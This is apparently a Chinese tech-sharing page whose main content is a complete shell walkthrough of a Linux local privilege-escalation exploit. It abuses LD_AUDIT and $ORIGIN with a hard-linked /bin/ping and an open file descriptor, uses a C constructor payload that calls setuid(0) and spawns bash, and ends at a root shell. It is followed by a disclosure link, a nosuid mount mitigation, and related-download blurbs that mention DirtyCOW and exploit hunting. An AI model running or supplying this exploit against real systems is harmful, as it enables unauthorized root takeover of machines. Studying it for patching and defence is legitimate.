以一个普通用户登录
[hello@localhost tmp]$ ls -ld /tmp/ 因为tmp目录能写文件!!
drwxrwxrwt 11 root root 4096 10-14 21:29 /tmp/
[hello@localhost tmp]$ cd /tmp/
[hello@localhost tmp]$ mkdir exploit
[hello@localhost tmp]$ ln /bin/ping /tmp/exploit/target
[hello@localhost tmp]$ exec 3< /tmp/exploit/target 文件描述符,把/tmp/exploit/target定义为文件描述符3
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target
[hello@localhost tmp]$ rm -fr /tmp/exploit/
[hello@localhost tmp]$ ls -l /proc/$$/fd/3
lr-x------ 1 hello hello 64 10-20 09:30 /proc/10990/fd/3 -> /tmp/exploit/target (deleted)
[hello@localhost tmp]$ cat > payload.c 高级系统管理员必须要把c学的很明白!!
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
[hello@localhost tmp]$ gcc -w -fPIC -shared -o /tmp/exploit payload.c
[hello@localhost tmp]$ ls -l /tmp/exploit
-rwxrwxr-x 1 hello hello 4223 10-20 09:32 /tmp/exploit
[hello@localhost tmp]$ LD_AUDIT="\$ORIGIN" exec /proc/self/fd/3 定义环境变量
[root@localhost tmp]# whoami
root
--------------
http://marc.info/?l=full-disclosure&m=128739684614072&w=2
-
一般不开777权限目录的. 如果要则
对777的目录做如下操作,可以控制你提权的.比如/tmp
# mount -o bind /tmp /tmp
# mount -o remount,bind,nosuid /tmp /tmp nosuid 不允许执行suid权限
分享到:
相关推荐
dirtycow脏牛linux提权exp
拿到shell了,准备提权.先看下linux内核 2.6.18-194.11.3.el5 内核 2010的,这个好CentOS release 5.5好提 然后百度或者其它路径找EXP,2.6.18-194这个内核我已经收藏过....其实linux提权还是很简单,关键看有没exp
如何保留/tmp文件夹下的指定文件 有详细的步骤和操作流程,简单易学,是本人在工作过程中的经验积累。
atmel gpio driver for linux-2.6.20
本文将为大家介绍如何在Linux下将/TMP和/Var移动到共享分区的方法。
1. 该用户为普通用户 2. 将二进制可执行文件 redhat_exp 上传到 Linux 系统中,案例中上传到/tmp 目录中,并 4. 执行完毕查看当前用户
基于stc单片机读取TMP112温度
tmp tmp tmp tmp test
基于CC430单片机的IIC通信协议的TMP102温度传感器的测试程序
TI TMP112系列驱动核心部分,采用STM32F103RCT6
用STM32实现的TMP102温度传感器!非常精确!
tmp102的温度获取程序
Linux提供了大量的命令,利用它可以有效地完成大量的工作,如磁盘操作、文件存取、目录操作、进程管理、文件权限设定等。所以,在Linux系统上工作离不开使用系统提供的命令。 要想真正理解Linux系统,就必须从Linux...
TMP117温度传感器驱动函数及单片机(stm32、Arduino)工程代码
使用STM32F103实现和TMP102温度传感器的通信,程序已经实测,附有简单的说明文档。
温度传感器TMP112驱动程序文件,传感器tmp112驱动
简单tmp 清理工具 傻瓜工具 批处理文件 可以一键清理系统tmp文件残留
基于STM32F103,测试TMP102的不同工作模式,包括连续转换、关断、单次转换、IIC通信速率、警报配置等诸多功能,分成了8个程序,每个程序内都有txt文件标识测试的内容。
4 cp -r /mnt/vmware-linux-tools /tmp 将cdrom里面的镜像内容拷贝到/tmp下 5 卸载cdrom “umount /dev/cdrom”,必须卸载,否则安装不成功 6."cd /tmp/vmware-linux-tools" “./install.pl" 进入目录vmware-linux-...
TMP117的驱动代码,适配普中开发板51